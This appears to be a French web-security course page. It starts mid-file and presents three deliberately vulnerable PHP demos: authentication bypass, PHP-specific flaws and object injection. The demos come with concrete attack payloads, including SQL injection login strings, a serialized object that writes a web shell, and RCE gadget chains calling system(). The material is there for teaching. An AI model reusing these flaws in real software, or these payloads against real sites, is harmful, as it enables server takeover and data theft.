    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>🚨 Authentication Bypass Demo</title>
    <style>
        body { font-family: Arial; margin: 40px; background: #f5f5f5; }
        .container { background: white; padding: 30px; border-radius: 10px; max-width: 1200px; margin: 0 auto; }
        .danger { background: #ffebee; border: 2px solid red; padding: 15px; margin: 10px 0; }
        .success { background: #e8f5e9; border: 2px solid green; padding: 15px; margin: 10px 0; }
        .test-section { background: #f8f8f8; padding: 15px; margin: 15px 0; border-left: 4px solid orange; }
        .protected { background: #e3f2fd; padding: 15px; margin: 15px 0; border-left: 4px solid blue; }
        input { padding: 10px; margin: 5px; width: 200px; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>

<div class="container">
    <h1>🚨 Authentication Bypass Vulnerabilities Demo</h1>

    <div class="danger">
        ⚠️ <strong>ATTENTION :</strong> Cette page contient des vulnérabilités d'authentification !
    </div>

    <?php if ($message): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <?php if ($error): ?>
        <div class="danger">❌ <?= htmlspecialchars($error) ?></div>
    <?php endif; ?>

    <!-- État de connexion -->
    <div class="protected">
        <h3>📊 État actuel :</h3>
        <p><strong>Connecté :</strong> <?= isLoggedIn() ? 'Oui' : 'Non' ?></p>
        <?php if (isLoggedIn()): ?>
            <p><strong>Utilisateur :</strong> <?= htmlspecialchars($_SESSION['username'] ?? 'N/A') ?></p>
            <p><strong>Rôle :</strong> <?= htmlspecialchars($_SESSION['role'] ?? 'N/A') ?></p>
            <p><strong>Accès Admin :</strong> <?= hasAdminAccess() ? 'Oui' : 'Non' ?></p>
            <p><a href="?logout=1">🚪 Se déconnecter</a></p>
        <?php endif; ?>
    </div>

    <!-- Test Login Normal -->
    <div class="test-section">
        <h3>1. Login Standard (avec failles)</h3>
        <form method="POST">
            <input type="text" name="username" placeholder="Nom d'utilisateur" required><br>
            <input type="password" name="password" placeholder="Mot de passe" required><br>
            <button type="submit" name="login">Se connecter</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Bypasses possibles :</strong><br>
            • Username: admin, Password: 0 (comparaison non stricte)<br>
            • Username: guest, Password: guest123 (utilisateur inactif accepté)
        </div>
    </div>

    <!-- Test Paramètre Caché -->
    <div class="test-section">
        <h3>2. Bypass via Paramètre Caché</h3>
        <form method="POST">
            <input type="hidden" name="admin_access" value="true">
            <button type="submit">Accès Admin Direct</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Technique :</strong> Inspection du code source pour trouver les champs cachés
        </div>
    </div>

    <!-- Test Reset Password -->
    <div class="test-section">
        <h3>3. Reset Password Vulnérable</h3>
        <form method="POST">
            <input type="text" name="reset_username" placeholder="Nom d'utilisateur" required><br>
            <input type="password" name="new_password" placeholder="Nouveau mot de passe" required><br>
            <input type="text" name="confirm_code" placeholder="Code de confirmation" required><br>
            <button type="submit" name="reset_password">Réinitialiser</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Codes de bypass :</strong><br>
            • Code générique : 1<br>
            • Code admin calculé : <?= md5('admin' . 'secret') ?><br>
            • Code user calculé : <?= md5('user' . 'secret') ?>
        </div>
    </div>

    <!-- Test URL Bypass -->
    <div class="test-section">
        <h3>4. Bypass via URL</h3>
        <p>Testez ces URLs pour contourner l'authentification :</p>
        <ul>
            <li><a href="?admin=1">?admin=1</a> (paramètre GET)</li>
            <li><a href="javascript:document.cookie='admin_token=admin123'; location.reload();">Définir cookie admin</a></li>
        </ul>
    </div>

    <!-- Test Array Bypass -->
    <div class="test-section">
        <h3>5. Bypass via Manipulation d'Array</h3>
        <form method="POST">
            <input type="hidden" name="user_data[admin]" value="true">
            <button type="submit">Bypass Array</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Technique :</strong> Manipulation des structures de données PHP
        </div>
    </div>

    <!-- Test Token Prédictible -->
    <div class="test-section">
        <h3>6. Token Prédictible</h3>
        <form method="POST">
            <input type="text" name="auth_token" placeholder="Token d'authentification" required><br>
            <button type="submit">Authentifier par Token</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Token valide aujourd'hui :</strong> <?= md5(date('Y-m-d') . 'secretkey') ?><br>
            <em>(Basé sur la date + clé secrète faible)</em>
        </div>
    </div>

    <!-- Test SQL Injection Login -->
    <div class="test-section">
        <h3>7. Bypass via SQL Injection</h3>
        <form method="POST">
            <input type="text" name="sql_username" placeholder="Username" required><br>
            <input type="password" name="sql_password" placeholder="Password" required><br>
            <button type="submit" name="sql_login">Login SQL</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Payloads d'injection :</strong><br>
            • Username: admin' OR '1'='1' --<br>
            • Username: ' OR 1=1 --<br>
            • Username: admin'/*
        </div>
    </div>

    <!-- Zone Protégée -->
    <?php if (hasAdminAccess()): ?>
        <div class="protected">
            <h3>🔒 Zone Administrateur (Accès Accordé)</h3>
            <p>Félicitations ! Vous avez contourné l'authentification.</p>
            <p>Dans une vraie application, cette zone contiendrait :</p>
            <ul>
                <li>Gestion des utilisateurs</li>
                <li>Configuration système</li>
                <li>Données sensibles</li>
                <li>Fonctions critiques</li>
            </ul>
        </div>
    <?php endif; ?>

    <div style="background: #fff3e0; padding: 20px; margin-top: 30px;">
        <h3>🎯 Leçons apprises :</h3>
        <ul>
            <li>Toujours utiliser des comparaisons strictes (===)</li>
            <li>Valider TOUS les paramètres d'entrée</li>
            <li>Éviter les paramètres cachés critiques</li>
            <li>Utiliser des tokens imprévisibles</li>
            <li>Implémenter une logique d'autorisation centralisée</li>
            <li>Logs et monitoring des tentatives d'accès</li>
        </ul>
    </div>
</div>

<?php
// Logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}
?>

</body>
</html>

PHP Vulns - Vulnérabilités spécifiques à PHP

Failles de sécurité spécifiques au langage PHP et à sa configuration.

🐘 Vulnérabilités PHP courantes

Failles de configuration :

register_globals

Variables globales automatiques

allow_url_include

Inclusion d'URLs distantes

expose_php

Exposition de la version PHP

Fonctions dangereuses :

  • extract() - surcharge de variables
  • parse_str() - pollution de variables
  • import_request_variables()
  • mb_parse_str() - équivalent multibyte

Code Vulnérable - PHP Specific Vulnerabilities

php

<?php
/**
 * EXEMPLE VULNÉRABLE - PHP Specific Vulnerabilities
 * Démonstration des failles spécifiques à PHP
 */

// 1. EXTRACT() VULNÉRABLE - Variable Overwriting
$admin = false;
$authenticated = false;

if (isset($_POST['user_data'])) {
    // VULNÉRABLE : extract() peut écraser des variables critiques
    extract($_POST['user_data'], EXTR_OVERWRITE);
}

// 2. PARSE_STR() VULNÉRABLE - Variable Pollution
if (isset($_POST['query_string'])) {
    $query = $_POST['query_string'];

    // VULNÉRABLE : parse_str() peut créer/écraser des variables
    parse_str($query);
}

// 3. PREG_REPLACE /e MODIFIER (PHP < 7.0)
if (isset($_POST['preg_pattern']) && isset($_POST['preg_subject'])) {
    $pattern = $_POST['preg_pattern'];
    $subject = $_POST['preg_subject'];

    // VULNÉRABLE : Modifier /e permet l'exécution de code
    // Note: Deprecated in PHP 5.5, removed in PHP 7.0
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $result = preg_replace($pattern, 'strtoupper("\\1")', $subject);
    }
}

// 4. INCLUDE/REQUIRE avec php://input
if (isset($_GET['include_demo'])) {
    // VULNÉRABLE : Inclusion de php://input
    include("php://input");
}

// 5. TYPE JUGGLING VULNERABILITIES
if (isset($_POST['type_juggle'])) {
    $user_input = $_POST['type_juggle'];
    $secret_number = 123;

    // VULNÉRABLE : Comparaison non stricte avec type juggling
    if ($user_input == $secret_number) {
        $message = "Accès accordé par type juggling !";
    }
}

// 6. WEAK RANDOM NUMBER GENERATION
if (isset($_POST['generate_token'])) {
    // VULNÉRABLE : Générateur pseudo-aléatoire faible
    $weak_token = md5(time() . rand(1, 1000));
    echo "Token généré : " . $weak_token;
}

// 7. UNSERIALIZE() EXPLOITATION
if (isset($_POST['serialize_data'])) {
    $data = $_POST['serialize_data'];

    // VULNÉRABLE : Désérialisation sans validation
    $object = unserialize($data);
}

// Classe vulnérable pour la désérialisation
class VulnerableObject {
    public $filename;

    public function __destruct() {
        // VULNÉRABLE : Destructeur dangereux
        if (file_exists($this->filename)) {
            unlink($this->filename);
        }
    }

    public function __wakeup() {
        // VULNÉRABLE : Code exécuté lors de la désérialisation
        if (isset($this->filename)) {
            file_put_contents($this->filename, "Payload executed!");
        }
    }
}

// 8. PHP FILTER BYPASS
if (isset($_POST['filter_test'])) {
    $input = $_POST['filter_test'];

    // VULNÉRABLE : Filtrage insuffisant
    if (!preg_match('/script|eval|system/', $input)) {
        // Bypass possible avec des variantes comme SCRIPT, System, etc.
        eval($input);
    }
}

// 9. MAGIC QUOTES BYPASS (PHP < 5.4)
if (isset($_POST['magic_quotes_test'])) {
    $input = $_POST['magic_quotes_test'];

    // VULNÉRABLE : Supposer que magic_quotes protège
    if (get_magic_quotes_gpc()) {
        $input = stripslashes($input);
    }

    // Utilisation dangereuse même avec magic_quotes
    $query = "SELECT * FROM users WHERE name = '$input'";
}

// 10. WEAKLY TYPED COMPARISONS
if (isset($_POST['hash_comparison'])) {
    $user_hash = $_POST['hash_comparison'];
    $stored_hash = '0e462097431906509019562988736854';

    // VULNÉRABLE : Comparaison faible de hashes
    if ($user_hash == $stored_hash) {
        $message = "Hash validé !";
    }
}

// 11. PHP OBJECT INJECTION via HEADERS
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (strpos($user_agent, 'O:') === 0) {
    // VULNÉRABLE : Désérialisation d'en-têtes
    @unserialize($user_agent);
}

// 12. PHPINFO() EXPOSURE
if (isset($_GET['info'])) {
    // VULNÉRABLE : Exposition d'informations sensibles
    phpinfo();
    exit;
}

// 13. ERROR REPORTING EXPOSURE
if (isset($_GET['trigger_error'])) {
    // VULNÉRABLE : Erreurs révélant des informations
    error_reporting(E_ALL);
    ini_set('display_errors', 1);

    // Génération d'erreur révélatrice
    include('/etc/passwd');
}

// 14. SESSION FIXATION via QUERY
if (isset($_GET['PHPSESSID'])) {
    // VULNÉRABLE : Accepter un ID de session externe
    session_id($_GET['PHPSESSID']);
}

session_start();

// Vérifications d'état
$is_admin = isset($admin) && $admin === true;
$is_authenticated = isset($authenticated) && $authenticated === true;
?>

<!DOCTYPE html>
<html>
<head>
    <title>🐘 PHP Vulnerabilities Demo</title>
    <style>
        body { font-family: Arial; margin: 40px; background: #f5f5f5; }
        .container { background: white; padding: 30px; border-radius: 10px; max-width: 1200px; margin: 0 auto; }
        .danger { background: #ffebee; border: 2px solid red; padding: 15px; margin: 10px 0; }
        .success { background: #e8f5e9; border: 2px solid green; padding: 15px; margin: 10px 0; }
        .test-section { background: #f8f8f8; padding: 15px; margin: 15px 0; border-left: 4px solid orange; }
        .info { background: #e3f2fd; padding: 15px; margin: 15px 0; border-left: 4px solid blue; }
        input, textarea { padding: 10px; margin: 5px; width: 300px; }
        button { padding: 10px 20px; background: #ff5722; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>

<div class="container">
    <h1>🐘 PHP Specific Vulnerabilities Demo</h1>

    <div class="danger">
        ⚠️ <strong>ATTENTION :</strong> Cette page démontre des vulnérabilités spécifiques à PHP !
    </div>

    <!-- État des variables -->
    <div class="info">
        <h3>📊 État des variables critiques :</h3>
        <p><strong>$admin :</strong> <?= var_export($is_admin, true) ?></p>
        <p><strong>$authenticated :</strong> <?= var_export($is_authenticated, true) ?></p>
        <p><strong>PHP Version :</strong> <?= PHP_VERSION ?></p>
    </div>

    <!-- Test Extract Vulnerability -->
    <div class="test-section">
        <h3>1. Extract() Variable Overwriting</h3>
        <form method="POST">
            <input type="hidden" name="user_data[admin]" value="true">
            <input type="hidden" name="user_data[authenticated]" value="true">
            <button type="submit">Exploit Extract()</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Technique :</strong> Envoyer user_data[admin]=1 pour écraser $admin
        </div>
    </div>

    <!-- Test Parse_str Vulnerability -->
    <div class="test-section">
        <h3>2. Parse_str() Variable Pollution</h3>
        <form method="POST">
            <input type="text" name="query_string" placeholder="admin=1&authenticated=1" required><br>
            <button type="submit">Test Parse_str</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Payload exemple :</strong> admin=1&authenticated=1&secret_key=hacked
        </div>
    </div>

    <!-- Test Type Juggling -->
    <div class="test-section">
        <h3>3. Type Juggling Attack</h3>
        <form method="POST">
            <input type="text" name="type_juggle" placeholder="Essayez: 123abc, 0x7B, 1.23e2" required><br>
            <button type="submit">Test Type Juggling</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Valeurs équivalentes à 123 :</strong><br>
            • "123abc" (conversion automatique)<br>
            • "0x7B" (hexadécimal)<br>
            • "1.23e2" (notation scientifique)
        </div>
    </div>

    <!-- Test Weak Token Generation -->
    <div class="test-section">
        <h3>4. Weak Random Token Generation</h3>
        <form method="POST">
            <button type="submit" name="generate_token">Générer Token Faible</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Problème :</strong> Utilise time() + rand() - prévisible !
        </div>
    </div>

    <!-- Test Hash Comparison -->
    <div class="test-section">
        <h3>5. Weak Hash Comparison</h3>
        <form method="POST">
            <input type="text" name="hash_comparison" placeholder="Entrez un hash MD5" required><br>
            <button type="submit">Comparer Hash</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Magic Hash (MD5) :</strong><br>
            • 0e462097431906509019562988736854<br>
            • 0e830400451993494058024219903391<br>
            <em>Ces hashes sont interprétés comme 0 en notation scientifique !</em>
        </div>
    </div>

    <!-- Test Unserialize -->
    <div class="test-section">
        <h3>6. Unsafe Unserialize()</h3>
        <form method="POST">
            <textarea name="serialize_data" placeholder="Données sérialisées" rows="3"></textarea><br>
            <button type="submit">Unserialize</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Payload dangereux :</strong><br>
            O:16:"VulnerableObject":1:{s:8:"filename";s:9:"/tmp/test";}
        </div>
    </div>

    <!-- Test Filter Bypass -->
    <div class="test-section">
        <h3>7. Filter Bypass</h3>
        <form method="POST">
            <input type="text" name="filter_test" placeholder="Code PHP à tester" required><br>
            <button type="submit">Test Filter</button>
        </form>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Bypass techniques :</strong><br>
            • SYSTEM() (majuscules)<br>
            • sys\x74em() (caractères échappés)<br>
            • `whoami` (backticks)
        </div>
    </div>

    <!-- Test PHP Info -->
    <div class="test-section">
        <h3>8. PHP Information Disclosure</h3>
        <p><a href="?info=1" target="_blank">Voir phpinfo() - Information Disclosure</a></p>
        <p><a href="?trigger_error=1">Déclencher erreurs révélatrices</a></p>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>Informations exposées :</strong> Configuration PHP, chemins, versions, etc.
        </div>
    </div>

    <!-- Test PHP Input -->
    <div class="test-section">
        <h3>9. PHP Input Stream Inclusion</h3>
        <p><a href="?include_demo=1">Test php://input inclusion</a></p>
        <p>Envoyez du code PHP via POST data pour l'exécuter</p>

        <div style="background: #ffe6e6; padding: 10px; margin: 10px 0; font-family: monospace;">
            <strong>POST data exemple :</strong> &lt;?php echo "RCE via php://input"; ?&gt;
        </div>
    </div>

    <div style="background: #fff3e0; padding: 20px; margin-top: 30px;">
        <h3>🎯 Leçons de sécurité PHP :</h3>
        <ul>
            <li>Ne jamais utiliser extract() avec des données utilisateur</li>
            <li>Éviter parse_str() sans contrôle strict</li>
            <li>Toujours utiliser des comparaisons strictes (===)</li>
            <li>Utiliser random_bytes() au lieu de rand()</li>
            <li>Valider AVANT d'unserialize()</li>
            <li>Désactiver phpinfo() en production</li>
            <li>Configurer PHP de manière sécurisée</li>
        </ul>
    </div>

    <?php if (isset($message)): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>
</div>

</body>
</html>

Object Injection - Injection d'Objets PHP

Exploitation de la désérialisation d'objets PHP pour exécuter du code malveillant.

🧬 Magic Methods et Désérialisation

Magic Methods exploitables :

__destruct()

Appelé lors de la destruction d'objet

__wakeup()

Appelé lors de unserialize()

__toString()

Conversion en chaîne de caractères

Techniques d'exploitation :

  • Property Oriented Programming (POP)
  • Gadget Chains
  • File Operations via Objects
  • Code Execution via Callbacks

Code Vulnérable - Object Injection

php

<?php
/**
 * EXEMPLE VULNÉRABLE - PHP Object Injection
 * Démonstration des failles de désérialisation d'objets
 */

// 1. CLASSE AVEC __DESTRUCT DANGEREUX
class FileManager {
    public $filename;
    public $operation;
    public $data;

    public function __construct($filename = '', $operation = 'read') {
        $this->filename = $filename;
        $this->operation = $operation;
    }

    public function __destruct() {
        // VULNÉRABLE : Opérations de fichier automatiques
        if ($this->operation === 'delete' && !empty($this->filename)) {
            unlink($this->filename);
        } elseif ($this->operation === 'write' && !empty($this->filename)) {
            file_put_contents($this->filename, $this->data);
        } elseif ($this->operation === 'read' && !empty($this->filename)) {
            echo "Contenu du fichier: " . file_get_contents($this->filename);
        }
    }
}

// 2. CLASSE AVEC __WAKEUP VULNÉRABLE
class DatabaseConnection {
    public $host;
    public $username;
    public $password;
    public $query;

    public function __wakeup() {
        // VULNÉRABLE : Connexion et requête automatiques
        if (!empty($this->query)) {
            $this->connect();
            $this->executeQuery();
        }
    }

    private function connect() {
        // Simulation de connexion
        echo "Connexion à {$this->host} avec {$this->username}...<br>";
    }

    private function executeQuery() {
        // VULNÉRABLE : Exécution de requête non validée
        echo "Exécution de la requête: {$this->query}<br>";
        // Dans un vrai cas, cela pourrait exécuter du SQL malveillant
    }
}

// 3. CLASSE AVEC __TOSTRING POUR RCE
class LogEntry {
    public $level;
    public $message;
    public $timestamp;

    public function __toString() {
        // VULNÉRABLE : Évaluation de code dans __toString
        if ($this->level === 'debug') {
            eval($this->message);
        }
        return "[{$this->timestamp}] {$this->level}: {$this->message}";
    }
}

// 4. CLASSE AVEC CALLBACK DANGEREUX
class EventHandler {
    public $callback;
    public $data;

    public function __invoke() {
        // VULNÉRABLE : Exécution de callback non validé
        if (is_callable($this->callback)) {
            call_user_func($this->callback, $this->data);
        }
    }

    public function __destruct() {
        // Déclenchement automatique
        $this();
    }
}

// 5. CLASSE POUR PROPERTY ORIENTED PROGRAMMING (POP)
class User {
    public $username;
    public $profile;

    public function __get($name) {
        // VULNÉRABLE : Accès dynamique aux propriétés
        if ($name === 'settings' && isset($this->profile)) {
            return $this->profile->getSettings();
        }
    }
}

class UserProfile {
    public $data;
    public $loader;

    public function getSettings() {
        // VULNÉRABLE : Chargement dynamique
        if (isset($this->loader)) {
            return $this->loader->load($this->data);
        }
    }
}

class DataLoader {
    public $source;

    public function load($data) {
        // VULNÉRABLE : Inclusion de fichier basée sur les données
        if ($this->source === 'file') {
            include($data);
        } elseif ($this->source === 'eval') {
            eval($data);
        }
    }
}

// 6. CLASSE AVEC SESSION MANIPULATION
class SessionManager {
    public $sessionData;
    public $handler;

    public function __wakeup() {
        // VULNÉRABLE : Manipulation de session
        if (!empty($this->sessionData)) {
            foreach ($this->sessionData as $key => $value) {
                $_SESSION[$key] = $value;
            }
        }

        if (isset($this->handler)) {
            session_set_save_handler($this->handler);
        }
    }
}

// TRAITEMENT DES DONNÉES UTILISATEUR
$message = '';
$error = '';

// Désérialisation vulnérable
if (isset($_POST['serialized_object'])) {
    $data = $_POST['serialized_object'];

    try {
        // VULNÉRABLE : Désérialisation sans validation
        $object = unserialize($data);
        $message = "Objet désérialisé avec succès !";

        // Utilisation de l'objet (déclenchement potentiel)
        if (method_exists($object, 'execute')) {
            $object->execute();
        }

    } catch (Exception $e) {
        $error = "Erreur de désérialisation: " . $e->getMessage();
    }
}

// Désérialisation via cookie
if (isset($_COOKIE['user_data'])) {
    try {
        // VULNÉRABLE : Cookie désérialisé automatiquement
        $userData = unserialize(base64_decode($_COOKIE['user_data']));
    } catch (Exception $e) {
        // Erreur silencieuse
    }
}

// Désérialisation via session
session_start();
if (isset($_SESSION['cached_object'])) {
    // VULNÉRABLE : Objets en session
    $cachedObject = $_SESSION['cached_object'];
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>🧬 PHP Object Injection Demo</title>
    <style>
        body { font-family: Arial; margin: 40px; background: #f5f5f5; }
        .container { background: white; padding: 30px; border-radius: 10px; max-width: 1200px; margin: 0 auto; }
        .danger { background: #ffebee; border: 2px solid red; padding: 15px; margin: 10px 0; }
        .success { background: #e8f5e9; border: 2px solid green; padding: 15px; margin: 10px 0; }
        .test-section { background: #f8f8f8; padding: 15px; margin: 15px 0; border-left: 4px solid purple; }
        .payload { background: #f3e5f5; padding: 15px; margin: 10px 0; font-family: monospace; font-size: 12px; }
        textarea { width: 100%; height: 100px; padding: 10px; margin: 5px 0; font-family: monospace; }
        button { padding: 10px 20px; background: #9c27b0; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>

<div class="container">
    <h1>🧬 PHP Object Injection Vulnerabilities Demo</h1>

    <div class="danger">
        ⚠️ <strong>ATTENTION :</strong> Cette page est vulnérable à l'injection d'objets PHP !<br>
        L'injection d'objets peut mener à RCE, lecture/écriture de fichiers, et bien plus !
    </div>

    <?php if ($message): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <?php if ($error): ?>
        <div class="danger">❌ <?= htmlspecialchars($error) ?></div>
    <?php endif; ?>

    <!-- Test Object Injection -->
    <div class="test-section">
        <h3>1. Object Injection via unserialize()</h3>
        <form method="POST">
            <textarea name="serialized_object" placeholder="Données d'objet sérialisé..."></textarea><br>
            <button type="submit">Désérialiser Objet</button>
        </form>
    </div>

    <!-- Payloads de démonstration -->
    <div class="test-section">
        <h3>🎯 Payloads d'Object Injection</h3>

        <h4>1. FileManager - Suppression de fichier</h4>
        <div class="payload">
            O:11:"FileManager":3:{s:8:"filename";s:9:"/tmp/test";s:9:"operation";s:6:"delete";s:4:"data";N;}
        </div>

        <h4>2. FileManager - Écriture de fichier (Webshell)</h4>
        <div class="payload">
            O:11:"FileManager":3:{s:8:"filename";s:10:"shell.php";s:9:"operation";s:5:"write";s:4:"data";s:29:"&lt;?php system($_GET['cmd']); ?&gt;";}
        </div>

        <h4>3. LogEntry - RCE via __toString</h4>
        <div class="payload">
            O:8:"LogEntry":3:{s:5:"level";s:5:"debug";s:7:"message";s:10:"phpinfo();";s:9:"timestamp";s:19:"2024-01-01 12:00:00";}
        </div>

        <h4>4. EventHandler - RCE via callback</h4>
        <div class="payload">
            O:12:"EventHandler":2:{s:8:"callback";s:6:"system";s:4:"data";s:6:"whoami";}
        </div>

        <h4>5. DatabaseConnection - Injection SQL</h4>
        <div class="payload">
            O:18:"DatabaseConnection":4:{s:4:"host";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:5:"query";s:27:"DROP TABLE users; SELECT 1";}
        </div>

        <h4>6. POP Chain - Property Oriented Programming</h4>
        <div class="payload">
            O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"profile";O:11:"UserProfile":2:{s:4:"data";s:29:"&lt;?php system($_GET['c']); ?&gt;";s:6:"loader";O:10:"DataLoader":1:{s:6:"source";s:4:"eval";}}}
        </div>

        <h4>7. SessionManager - Session Hijacking</h4>
        <div class="payload">
            O:14:"SessionManager":2:{s:11:"sessionData";a:2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";}s:7:"handler";N;}
        </div>
    </div>

    <!-- Techniques avancées -->
    <div class="test-section">
        <h3>🔬 Techniques avancées</h3>

        <h4>Magic Methods exploitables :</h4>
        <ul>
            <li><strong>__destruct()</strong> : Exécuté automatiquement lors de la destruction</li>
            <li><strong>__wakeup()</strong> : Appelé lors de unserialize()</li>
            <li><strong>__toString()</strong> : Déclenché lors de conversion en string</li>
            <li><strong>__invoke()</strong> : Appelé quand l'objet est utilisé comme fonction</li>
            <li><strong>__get()/__set()</strong> : Accès dynamique aux propriétés</li>
            <li><strong>__call()</strong> : Appel de méthodes inexistantes</li>
        </ul>

        <h4>Vecteurs d'injection :</h4>
        <ul>
            <li>Paramètres POST/GET</li>
            <li>Cookies (base64 encodés)</li>
            <li>Sessions PHP</li>
            <li>Headers HTTP</li>
            <li>Fichiers uploadés</li>
            <li>Cache/Database storage</li>
        </ul>
    </div>

    <!-- Générateur de payload -->
    <div class="test-section">
        <h3>🛠️ Générateur de Payload</h3>
        <p>Générez vos propres payloads avec du PHP :</p>
        <div class="payload">
            <strong>Exemple de génération :</strong><br>
            &lt;?php<br>
            $obj = new FileManager();<br>
            $obj-&gt;filename = "/etc/passwd";<br>
            $obj-&gt;operation = "read";<br>
            echo serialize($obj);<br>
            ?&gt;
        </div>
    </div>

    <div style="background: #b71c1c; color: white; padding: 20px; margin-top: 30px;">
        <h3>💀 DANGERS DE L'OBJECT INJECTION</h3>
        <p>L'injection d'objets PHP est particulièrement dangereuse car elle peut mener à :</p>
        <ul>
            <li>✗ <strong>Remote Code Execution (RCE)</strong> : Exécution de code arbitraire</li>
            <li>✗ <strong>File System Access</strong> : Lecture/écriture/suppression de fichiers</li>
            <li>✗ <strong>Database Manipulation</strong> : Injection SQL automatique</li>
            <li>✗ <strong>Session Hijacking</strong> : Prise de contrôle de sessions</li>
            <li>✗ <strong>Privilege Escalation</strong> : Élévation de privilèges</li>
            <li>✗ <strong>Information Disclosure</strong> : Accès à des données sensibles</li>
        </ul>
        <p><strong>SOLUTION</strong> : Ne jamais désérialiser des données non fiables !</p>
    </div>
</div>

</body>
</html>

Comprendre pour protéger

Chaque faille de cette page a son correctif juste en dessous. C’est le seul usage de ce cours : reconnaître le code vulnérable pour ne plus l’écrire. La suite logique — appliquer ces protections aux formulaires, première porte d’entrée d’une application web.